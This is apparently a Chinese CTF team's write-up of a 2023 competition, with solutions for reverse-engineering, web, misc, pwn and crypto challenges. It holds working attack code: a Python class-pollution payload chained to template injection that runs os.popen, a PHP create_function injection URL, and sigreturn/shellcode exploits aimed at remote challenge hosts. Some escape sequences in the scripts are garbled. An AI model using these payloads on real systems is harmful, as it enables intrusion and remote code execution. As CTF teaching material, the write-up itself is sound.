RE
PART/1
你见过蓝色的小鲸鱼
一个比较明显的BlowFish加密,使用用户名作为密钥,对应核心函数部分如下图:
对应给输入密码加密在sub_451F08,简单看看就可以发现是对应的Blowfish加密逻辑,其实拿FindCrypto也可以识别出该算法
直接写一个脚本即可:
from Crypto.Cipher import Blowfish
key = b"UzBtZTBuZV9EMGcz"
blowfish = Blowfish.new(key, Blowfish.MODE_ECB)
flag = b'x11xa5x1fx04x95x50xe2x50x8fx17xe1x6cxf1x63x2bx47'
p = blowfish.decrypt(flag)
for i in range(len(p)):
print(chr(p[i]), end = "")
#UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo
WEB
PART/1
swaggerdocs
app.update中疑似有原型链污染。
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
和Python原型链污染变体
(https://tttang.com/archive/1876/#toc__7)
脚本
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
这两段代码都是用于合并或更新两个字典的函数
但是它们在实现上有一些差异。
让我们逐段解读它们:
第一段代码 (update 函数)
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items():
if hasattr(dst, key) and isinstance(value, dict):
update(value, getattr(dst, key))
else:
setattr(dst, key, value)
解读:
-
update 函数使用了递归的方式,遍历源字典 src 中的键值对,尝试将其合并到目标字典 dst 中。
-
如果 dst 支持通过 __getitem__ 方法访问,那么它会首先尝试使用这种方式。这通常意味着 dst 是一个字典或支持类似字典的操作。
-
对于每个键值对,如果值是字典,且键已经存在于 dst 中,那么递归地调用 update 函数。否则,直接将值赋给 dst[key]。
-
如果值不是字典,直接将其赋给 dst[key]。
-
如果 dst 不支持通过 __getitem__ 方法访问,就会尝试使用 __setattr__ 方法,将源字典中的键值对逐一设置到目标对象上。
第二段代码 (merge 函数)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
解读:
-
merge 函数同样使用了递归的方式,遍历源字典 src 中的键值对,尝试将其合并到目标字典 dst 中。
-
如果 dst 支持通过 __getitem__ 方法访问,那么它会首先尝试使用这种方式。这同样意味着 dst 是一个字典或支持类似字典的操作。
-
对于每个键值对,如果键在 dst 中存在,且值是字典,那么递归地调用 merge 函数。否则,直接将值赋给 dst[k]。
-
如果 dst 不支持通过 __getitem__ 方法访问,就会尝试使用 __setattr__ 方法,将源字典中的键值对逐一设置到目标对象上。
比较:
-
update 和 merge 函数的基本思想相似,都是递归遍历字典,合并到目标字典中。
-
update 在处理嵌套字典时,会检查键是否存在于目标字典中,并且目标字典对应键的值是否是字典。这使得在源字典中有一部分结构在目标字典中不存在时,可以直接添加,而不需要整体替换。
-
merge 在处理嵌套字典时,只检查键是否存在,而不检查对应值的类型。这意味着如果目标字典对应键的值不是字典,会直接用源字典的值替换,而不是递归合并。
-
update 对于 dst 不支持通过 __getitem__ 方法访问的情况,尝试使用 __setattr__ 方法,将源字典中的键值对逐一设置到目标对象上。
-
merge 在这种情况下没有对应的处理,它仅支持字典的合并。
对于本题而言应该不影响。
app.api中有render_template_string
是本题中除了api.py文件中下载之外的唯一比较有实际威胁的点,要想方设法将污染与
(render_template_string或api.py中的任意文件下载)
联系起来。
考虑到本题的app.api中的
render_template_string(data.text)
可以想到污染data的text字段
参考Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)
https://tttang.com/archive/1876/#toc__7
我们可以对已加载的模块的class进行污染
对于本题而言就是对
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
的字段进行污染。
注意此处直接静态跟进get()函数是很难看出其返回值是哪个class的对象的,根据经验或者动态调试不难知道是requests.Response。
import test_1
class cls:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = cls()
payload = {
"__init__" : {
"__globals__" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
print(test_1.secret_var)
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~
修改为适用于本题情况的脚本:
import requests
class cls:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = cls()
payload = {
"__init__" : {
"__globals__" : {
"requests" : {
"secret_var" : 514,
"Response" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
#114
merge(payload, instance)
print(requests.secret_var)
#514
print(requests.Response.secret_class_var)
#Poluuuuuuted ~
经测是可以成功污染的,接下来注册、登录、update
POST http://127.0.0.1:5000/api-base/v0/update HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImtlbiIsInBhc3N3b3JkIjoia2VuIn0.BOuXjz62Xx0na6MxVGDS3O0SE1mKJ-cmf_g0tT4RsfI;
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 273
{"username":"ken","password":"ken", "__init__" : {
"__globals__" : {
"requests" : {
"secret_var" : 514,
"Response" : {
"text" : "{{config}}"
}
}
}
}}
再发包触发
POST /api-base/v0/search?file=D%3A%5CWW%5Cbuuoj%5C%5B%E5%AE%89%E6%B4%B5%E6%9D%AF%202023%5Dweb5%5Cweb5%5Crun.sh&type=text HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImtlbiIsInBhc3N3b3JkIjoia2VuIn0.BOuXjz62Xx0na6MxVGDS3O0SE1mKJ-cmf_g0tT4RsfI;
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 35
{"username":"ken","password":"ken"}
动态调试可以看到污染成功与SSTI成功。
类似的可以在靶机上进行测试,通了之后参考(http://www.tuzk1.top/posts/5126.html)文章,找一个执行命令的payload即可。
POST /api-base/v0/update HTTP/1.1
Host: 47.108.206.43:45457
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImtlbiIsInBhc3N3b3JkIjoia2VuIn0.orNDEf3BnY5A0RF3ViIK6Jjlo8UDyAAMmkrXbfzbR60; Path=/
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 11 Nov 2023 09:48:49 GMT
If-None-Match: "1699696129.0-4605-1006306968"
Content-Type: application/json
Content-Length: 468
{"username":"ken","password":"ken", "__init__" : {
"__globals__" : {
"requests" : {
"secret_var" : 514,
"Response" : {
"text" : "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}"
}
}
}
}}
flag文件在app目录下
PART/2
what's my name
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo base64_encode($miao)."<br/>";
echo substr($miao,-2).'<br/>';
echo strlen($d0g3).'<br/>';
var_dump(strlen($d0g3)==substr($miao, -2));
echo $miao.'<br/>';
var_dump($miao===$name);
var_dump($miao);
var_dump($name);
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
?>
添加调试代码:
var_dump(substr($miao, -2));
echo "</br>";
var_dump(strlen($d0g3));
echo "</br>";
var_dump($miao);
echo "</br>";
var_dump($a);
echo "</br>";
var_dump($b);
echo "</br>";
var_dump("$name:" . $name);
网上可以找到类似payload:
再修改一下满足题目的正则
测试出payload匹配条件为25,因为name这里有不可见字符,base64加密后再URL编码传输
手发包一直不行,写个脚本:
import requests
url = "http://47.108.206.43:43469?d0g3=include%27%22]);}phpinfo();/*&name=%00%6c%61%6d%62%64%61%5f%32%35"
for i in range(1,32):
resp = requests.get(url)
print(resp.text)
if "flag" in resp.text:
break
PART/3
easy_unserialize
逻辑比较简单,md5那里弱比较用脚本跑一个
<?php
error_reporting(0);
class Good{
public $g1;
public $gg2;
public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!^+()/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
public $md5;
public $lll3;
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __get($arg1)
{
$this->ll2->ll2('b2');
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
$you = new You();
$you->y1 = new Luck();
$you->y1->md5 = "1JTNoxS0803KVPSBHYg2";
$you->y1->lll3 = new Good();
$you->y1->lll3->gg2 = new Luck();
$you->y1->lll3->gg2->l1 = new Flag();
//$you->y1->lll3->gg2->l1->one1 = "/*f*";
$you->y1->lll3->gg2->l1->SplFileObject = "/FfffLlllLaAaaggGgGg";
$you->y1->lll3->gg2->l1->one = "glob:///*";
$data = serialize($you);
echo urlencode($data);
unserialize($data);
$one和$two就是传入$you->y1->lll3->gg2->l1的前和后
控制即可
先遍历得到flag名字:
再利用上面的脚本拿到flag即可
MISC
PART/1
dacong Windows
内存取证,windows10的用vol3解析
通过题意看注册表 windows.registry.printkey
得到
d@@Coong_LiiKEE_F0r3NsIc
但并不是flag,后来发现有很多dacong的wav,dump下来发现可以用SSTV解析,在39.wav得到flag1
之后flag2是在secret.rar得到的,尝试空白格隐写
并不是,考虑snow隐写得到flag2
flag2:_tHE_Dddd
最后一段是在桌面发现有一个flag3.txt,dump下来发现是一个类似base64的东西,直接解析不行,又考虑rabbit,走了很多弯路,后来发现之前那个注册表得到的东西没用,利用aes解密即可得到flag3
dAc0Ng_SIst3Rs????}
PART/2
Nahida
附件未知类型,trid也无法解析。
尝试利用Puzzsolver,得到一个jpg
最后这一段复制出来magic一下发现是utf-8编码
涉及神之眼,应该是宙斯之眼,key是Nahida
得到flag
PWN
PART/1
side_channel
开了沙盒
白名单只允许open,read和sigreturn还有mprotect,首先用sigreturn来调用mprotect在0x404060处进行 更改全选,允许执行shellcode。接着open和read将其读到0x404060,然后使用测信道爆破flag。
EXP:
from pwn import *
from ctypes import *
context(arch='amd64', os='linux')
s = "abcdefghijl01234567898-"
list = [ord(x) for x in s]
flag = ""
index = 0
leave_ret = 0x4014D4
ret1 = 0x4013F7
rax_15 = 0x40118f
syscall_addr = 0x40118a
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x404060, 0x50)
shellcode2 = '''
push 0x404060
pop rax
mov bl, byte ptr [rax+{}]
cmp bl, {}
jz $-0x3
'''
pwn2
shellcode3 = shellcraft.exit(0)
shellcode = shellcode + shellcode2 + shellcode3
while (1):
for i in range(len(s)):
p = remote("47.108.206.43",22271)
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = syscall_addr
frame.rsp = 0x404168
payload = b"./flagx00x00" + p64(0x401193) + p64(syscall_addr) +
bytes(frame) + p64(0x404178) + asm(shellcode.format(index, list[i]))
p.sendline(payload)
payload = b'a' * (0x2a) + p64(0x404060) + p64(leave_ret)
p.sendlineafter("Do u know what is SUID?",payload)
sleep(1)
c = p.connected()
print("c",c)
if c == True:
flag += chr(list[i])
print("flag:", flag)
index = index + 1
break
if c == 0:
pass
p.close()
PART/2
Seccomp
题目程序和pwn1基本一致,除了沙箱开了orw,调整rsp直接用三次sigreturn来进行orw即可。
EXP:
from pwn import *
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote("47.108.206.43",49594)
leave_ret = 0x4014D4
ret1 = 0x4013F7
rax_15 = 0x40118f
binsh_addr = 0x404060
syscall_addr = 0x40118a
main=0x40149f
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = 0x404060
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
frame.rsp = 0x404168
a = SigreturnFrame()
a.rax = 0
a.rdi = 3
a.rsi = 0x404060
a.rdx = 0x100
a.rip = syscall_addr
a.rsp = 0x404270
c= SigreturnFrame()
c.rax = 1
c.rdi = 1
c.rsi = 0x404060
c.rdx = 0x100
c.rip = syscall_addr
c.rsp = 0x404270
payload = b"./flagx00x00" + p64(0x401193) + p64(syscall_addr) + bytes(frame) +
p64(0x401193) + p64(syscall_addr) + bytes(a) + p64(0x401193) + p64(syscall_addr) +
bytes(c)
p.sendline(payload)
payload = b'a'*(0x2a) + p64(0x404060) + p64(leave_ret)
p.sendline(payload)
p.interactive()
Crypto
PART/1
010101
连接靶机,最前面爆破一下四位字符即可通过
然后得到n,fake_p,c
其中fake_p对半分两部分
前半部分为p的前半部分
其中有个1改成了0
后半部分为p的后半部分
其中有个0改成了1
对此我们分别遍历前部分的所有0和所有1,进行相关修改
然后通过判断n % int(pp,2) == 0来得到最终p
exp:
import string
from hashlib import *
from Crypto.Util.number import *
def decryp(c0,c_sha256):
a = string.digits + string.ascii_letters
for i in a:
for j in a:
for k in a:
for l in a:
c = i + j + k + l + c0
if sha256(c.encode()).hexdigest() == c_sha256:
return i + j + k + l
c0 = 'Lv6AFenn56SZDCSx'
c_sha256 = '83880b281300826916b4f4f69805b73b3857352a5310c76ddc9409b703a0c881'
print(decryp())
n = 905523502339993333347732184921515832724615432681576007117446463395202140406186455819530651614069950404042075810601284066931274385535805209551762747609710129397195498419968198264586450842703195713754979387687953072058351322587525343522844624682993335370804642773724643530765318313024375180717264856528859508407123752526511310582180218453798196174711313851827635402704747858853435896239778699882657450989068057812989594054428363851397496601943243279632712324146500308049672479691658555138662186023591295268811674086339075274569097409210759123902394263223688450680408635530782521256976903328828164340429982860113376939770724578082876344753290350343266896705294151268962513482425904197421191472457273426922236939791865513484769259495196493931485556604427038218601247547592658171510787978997032556028110709922802578235349838753703119717186450593733557822283883524757331256681827388497931023411423852155372196186154739783111702393646179284051800522296977182762660233575725266589131648359807548808090825735581316390867813314867323211845170988401019503976880130375254200181262678212582232977427692276533590080989210872268135701196903773727277426454750281175187163772245342989410626986346534537825442077209091327709977583138765091062180825677
p = 0b11101010011110100000101101101011001101010110101111110010110001010111110100001001111101101010100011000110100011101100011111000001011000001110100000011010110010101001011101101000011101110101101110100011101011101101001110111111111101010010011111000000111000111100010011010111000101100100100110000011001000011110001101100010011011010000101000110100101011001100100110010010000110101111011001100110101111010100011001011101101001110011111001010111110011000100010110101010101101100101000010101110100010101100011100111000111110001000110000000001100000101001101011110101000010010010001110101100011011011010010011101000000000100101110000011110110100000011110110100100010111101010011001001110110110110010111101011010111110110010110001001010101001111001100000100111010000010111101110011011001001101101100111110001101111011110101101010000011000000011110010011011100011010101001111001101010010000011001010010011101010111011000100110001010011101000001001110111101010101111011100001010011001100100100101110101110100011000000001001010010101001100010110010000101110010101011101011101100000010001011100000111111111110111101010000000101100010100101111101000100001111111111011010000111001101001000111001111101100010111011101010110011001111001111000011111110011100001010000111101000011101110110001000000011111011100110011011000000000111111000111101100100100111110010101100010000110111010001100011011110101000110001001001010110001001101111110011110111000010110011100101111100100111100101100100100010011000110101101000101110101111010101100011110111110100111111101100110001001101010011000100000100001010011001010111101000111000001010000000011011001000000110010111000110110001010011010000010011110111110100001110010111001001000110000000001001100001001101101011011000110101011001101011011000111110101111001001101101001111010000011101100110011111000111010011001010011000001001100000110010010110000111101100000000100111000110110000111000100011101011111001110111110011110010101111101100011000001000010010000000000100000100101101101000101101011111110111111010010100000011101111101
c = 745587981558225199779489472864521662605397077674696349893497975327247905263369880327575985631572831899756350304887416414038545421832041176445362604930405797786831534169573912357184586688381529947069894857394509966579487121687661989752586899589455464462247995122188759493123627350242205021208113896131648181542073741223251225981580414189428863505396386101177241484805790071413403051193522590522557315446676776773858208551001768656161594955533751022887153194457453335210088779951291652805254479165518510714128439772816791979498478564380332257338701462366597120383711831284104003001273549385445690481486475874561227737165660824408991697026216746228598823418652728049696520592060323073787932729563753905520086295756708974150517761661468789726318692941781525048612485155532675999051139338492332634069852069069184674033099759660245935752754851458110388376971860114732860095273775636908460452407012691042493223373443910140561227356789557793267636092022090489263078677697189174531544530409081828426516551442982714701036531481341724507410218935391836442694941824918582994408637911017294679056695122193964113408717500435520333846839935134288857521841024168440750127426538558553373838243771677148606150313490377010779696634859123541310387963211
p = bin(p)[2:]
p1 = p[:len(p)//2]
p2 = p[len(p)//2:]
for index1,pp1 in enumerate(p1):
for index2,pp2 in enumerate(p1):
if pp1 == '0' and pp2 == '1':
pp = p1[:index1] + '1' + p1[index1 + 1:] + p2[:index2] + '0' + p2[index2 + 1:]
if n % int(pp,2) == 0:
print('p = ',int(pp,2))
break
else:
break
p = 29599945799628278186746519825660916892621604028342546684212831707457754149813997048627283869161395573517111995471698110263759639581097779672468005532752056259520141039004391544778533174325052307547422146102736712978848485303251548280160809658876443806395968821087788281581274148422312646004992834257231028242183102339557736342343121551254937099490881320412077447851274340792312400819533713742956700153444795490779429444988650575339894387473166267318490499234341683969801838214865898854524961988985591845366022896297868397976747036125473474374530996038267588310192441640022227964346892098150361054127070862383122089853
q = n // p
d = inverse(65537,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)))
# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}
PART/2
POA
可以知道是Padding Oracle Attack并且是比较简单的,明文填充长度正好为16,所以也只有1块,也能知道flag是比较短的
接下来通过修改iv使解密出来的数据符合arrest的判断,从低位到高位依次爆破,以此得到所有AES.decry()的中间值,最后用这个中间值与iv异或即可得到最终flag
exp:
from Crypto.Util.number import *
from pwn import *
from tqdm import *
from hashlib import sha256
from itertools import product
import string
import binascii
context.log_level = 'debug'
r = remote('124.71.177.14', 10010)
def proof_of_work():
r.recvuntil(b'SHA256(XXXX + ')
tail = r.recvuntil(b'):', drop=True).decode()
s256 = r.recvline().strip().decode()
print(tail, s256)
table = string.digits + string.ascii_letters
for i in table:
for j in table:
for k in table:
for m in table:
temp1 = i+j+k+m
if(sha256((temp1+tail).encode()).hexdigest() == s256):
print(temp1)
r.sendline(temp1.encode())
return
proof_of_work()
r.recvuntil(b"options:")
r.recvuntil(b'2. decrypt the flag')
r.sendline(b'1')
r.recvuntil(b'This is your flag: ')
c = binascii.unhexlify(r.recvline().decode().strip())
print(c)
blocks = [c[i*16:i*16+16] for i in range(len(c)//16)]
print(blocks)
if(1):
message = [0 for i in range(16)]
change_block = [0 for i in range(16)]
dec_list = [0 for i in range(16)]
block = blocks
for j in trange(16):
for i in trange(256):
change_byte = long_to_bytes(i)
temp = block[0][:15-j] + long_to_bytes(i)
for k in range(15-j+1,16):
temp += long_to_bytes(change_block[k])
msg = temp + block[1]
r.sendline(b'2')
r.recvline()
msg = hex(bytes_to_long(msg))[2:]
r.sendline(msg)
print(msg)
res = r.recvline()
if(b"False" not in res):
if(j < 2):
if(i != block[1][-j-1]):
dec_list[15-j] = i ^ (j+1)
message[15-j] = (dec_list[15-j] ^ block[1][-j-1])
for k in range(j+1):
change_block[15-k] = dec_list[15-k] ^ (j+2)
break
else:
dec_list[15-j] = i ^ (j+1)
message[15-j] = (dec_list[15-j] ^ block[1][-j-1])
for k in range(j+1):
change_block[15-k] = dec_list[15-k] ^ (j+2)
break
print(message)
PART/3
rabin
第一种情况满足的话x要等于2
但是这种极端的情况概率较小
第二种情况概率更大,这样的话e1只能是2
所以:
试几个值,发现只有x = 4,e2 = 5才能满足e2是素数
这样的话r也就能知道了,接下来求p,q
对这两个解方程即可得到p,q
然后e1 = 2与phi不互素
使用有限域开方得到flag1
使用常规rsa解密得到flag2
得p,q,r:
from Crypto.Util.number import *
from sympy import Symbol, Eq, solve
n = 305742085102073958685058774990374612856503657611159209468741748564654591176180299818778135460948807176614281796016904753313757927457094861196369069821421681665875176139845644195736238144691839008758614457979812997005126606399842320648487994406393728514493129219688752202978501994811535834779889459729683428077498441713132964635907469366512175886337946124631196824508247375645971308484279007920881639616776491331812849657775358960227848680733861313065565269244274482334952541032707333167429562469558762781469669359057084779217532331399410333624558772093729396962312936037020992117478202860898927073068360026814644581294222733341428537874383052653054496502673372786144676806905626251642090622209277799682962538245425774337944285158783294880516595307576719556933669812074808919685419881388267486868941401975800053647291641426673593791774634377598637815942343627245274057532320854646240153245893536480745586533270387549779636700040935751519181245119278044454115223974366280075995685049945977835434961621019
ip = 80275679918090105134294823865673211657060049627413874971428297415355157707252877991145232186659935067961745973100698632943949790304190096567884607037119257848837354982500048978070619820510408650386626542338056277335180497955588848138448991963800265073331348097617541306117998857780109771194563339021595188562
iq = 91430270065720942392278749444269989843094838912787188266496611817766528132774187319335115624057615900976202412507879118712912101862728738204907877396022887953429108729897171677408597080700062032905675017013140349657979587207083820584906055634857776106802178757131724480934751871117394549988315719808677297400
c1 = 27982926262483311148784661440434049509041271145373939684263123722309350890886129800416935949757799004078048732281935770255739076672223113235604245680214981770721357810264502828783436566049916012826991722307971435988653591370445652627932863934280322586450541943726361669705223005256707033393323681199742226865639061796493744221386650671921408599281675072195109604944995246990117259752921959078570716019348911611821807743542202606017861680093899453962535751057029803212313708486252499961531916769339026243456254415795474566725045397580987945276292940425615563426872706612654673760957132954706561315315926583847756728581334589763622690426645925379033552965887091774261328484101677385760510308565939450969280431514193153901465147874994288888863961626533437546523090704677258271361008899424058968841403657808839941136606557821902221756903088734659178298942185013814206583151273573533540756898457572685280130826705824899847574123392575025182545331871707478881582060832153045557952057641871852784168481101647
c2 = 161619014853290061321220693856242384241899565606310997462914314289208211523608827698222734190386889612098570760765052452215805711014546122099647560430788381292730765852839847593053599250289125651012417026034998933486356540308165710913202176920168248765753912975464775516099366852853130484143941438754410599163284892652060800647319146257668079858962426955881454668916171211181142453679621166656675384626603665740562005722087726838877971126595828345860415781411146330129891129797182526922825440860137352029911523070206447988669663751215339049795213569586767141039747546364893768334626213397240105328357731197925663794385770706516043309955122745946633182399168534133436912290389494270925639788309351783493083085094045092781888997140679841389857851588928742292158429434570541383701331355804702559218884246423448924119442796513423570240629502315241227996438176424546368309332048747610392861954126660466095971227213870875955019656804172566974654412258429352773642042554134725696296293760333163865827998422748
r = 2
x = 4
e1 = 2
e2 = 5
while True:
r = r * x
if r.bit_length() > 1024 and isPrime(r - 1):
r = r - 1
break
print('r = ',r)
pq = n // r
p = Symbol('p')
q = Symbol('q')
equation1 = Eq(ip * p + iq * q - pq - 1, 0)
equation2 = Eq(p * q - pq, 0)
solution = solve((equation1, equation2), (p, q))
for p, q in solution:
if pq % p == 0:
p = int(p)
q = int(q)
break
print("p = ", p)
print("q = ", q)
EXP:
from gmpy2 import *
from Crypto.Util.number import *
r = 10407932194664399081925240327364085538615262247266704805319112350403608059673360298012239441732324184842421613954281007791383566248323464908139906605677320762924129509389220345773183349661583550472959420547689811211693677147548478866962501384438260291732348885311160828538416585028255604666224831890918801847068222203140521026698435488732958028878050869736186900714720710555703168729087
p = 178520299777167355369001808183687474532391330798911389431934562812702394723190891978648802997994069026093665507318682147460274981942087427438503753783091239311103281934259139483832836604291015047350582799369178702643309450679766735149462002249124815188830963192364126015176975256021362433651741247906217519399
q = 164551998561436347842088090443126081631121022784544727709076714132248059140399712877943757666385071645084549890402126199883441046602819598814176774376636763336557105349428193223349284162139919481842771083929707555042826741227483137801069548163363509926617185258104272508770524149975238887754018243824453471763
c1 = 27982926262483311148784661440434049509041271145373939684263123722309350890886129800416935949757799004078048732281935770255739076672223113235604245680214981770721357810264502828783436566049916012826991722307971435988653591370445652627932863934280322586450541943726361669705223005256707033393323681199742226865639061796493744221386650671921408599281675072195109604944995246990117259752921959078570716019348911611821807743542202606017861680093899453962535751057029803212313708486252499961531916769339026243456254415795474566725045397580987945276292940425615563426872706612654673760957132954706561315315926583847756728581334589763622690426645925379033552965887091774261328484101677385760510308565939450969280431514193153901465147874994288888863961626533437546523090704677258271361008899424058968841403657808839941136606557821902221756903088734659178298942185013814206583151273573533540756898457572685280130826705824899847574123392575025182545331871707478881582060832153045557952057641871852784168481101647
c2 = 161619014853290061321220693856242384241899565606310997462914314289208211523608827698222734190386889612098570760765052452215805711014546122099647560430788381292730765852839847593053599250289125651012417026034998933486356540308165710913202176920168248765753912975464775516099366852853130484143941438754410599163284892652060800647319146257668079858962426955881454668916171211181142453679621166656675384626603665740562005722087726838877971126595828345860415781411146330129891129797182526922825440860137352029911523070206447988669663751215339049795213569586767141039747546364893768334626213397240105328357731197925663794385770706516043309955122745946633182399168534133436912290389494270925639788309351783493083085094045092781888997140679841389857851588928742292158429434570541383701331355804702559218884246423448924119442796513423570240629502315241227996438176424546368309332048747610392861954126660466095971227213870875955019656804172566974654412258429352773642042554134725696296293760333163865827998422748
n = 305742085102073958685058774990374612856503657611159209468741748564654591176180299818778135460948807176614281796016904753313757927457094861196369069821421681665875176139845644195736238144691839008758614457979812997005126606399842320648487994406393728514493129219688752202978501994811535834779889459729683428077498441713132964635907469366512175886337946124631196824508247375645971308484279007920881639616776491331812849657775358960227848680733861313065565269244274482334952541032707333167429562469558762781469669359057084779217532331399410333624558772093729396962312936037020992117478202860898927073068360026814644581294222733341428537874383052653054496502673372786144676806905626251642090622209277799682962538245425774337944285158783294880516595307576719556933669812074808919685419881388267486868941401975800053647291641426673593791774634377598637815942343627245274057532320854646240153245893536480745586533270387549779636700040935751519181245119278044454115223974366280075995685049945977835434961621019
e1 = 2
e2 = 5
phi=(p-1)*(q-1)*(r-1)
PR.<x>=PolynomialRing(Zmod(p))
f=x^2-c1
res1=f.roots()
PR.<x>=PolynomialRing(Zmod(q))
f=x^2-c1
res2=f.roots()
PR.<x>=PolynomialRing(Zmod(r))
f=x^2-c1
res3=f.roots()
for i1 in res1:
for i2 in res2:
for i3 in res3:
mm = crt([int(i1[0]),int(i2[0]),int(i3[0])],[p,q,r]).list()
for i in mm:
print(long_to_bytes(int(i)))
d2=gmpy2.invert(e2,phi)
print(long_to_bytes(int(pow(c2,d2,n))))
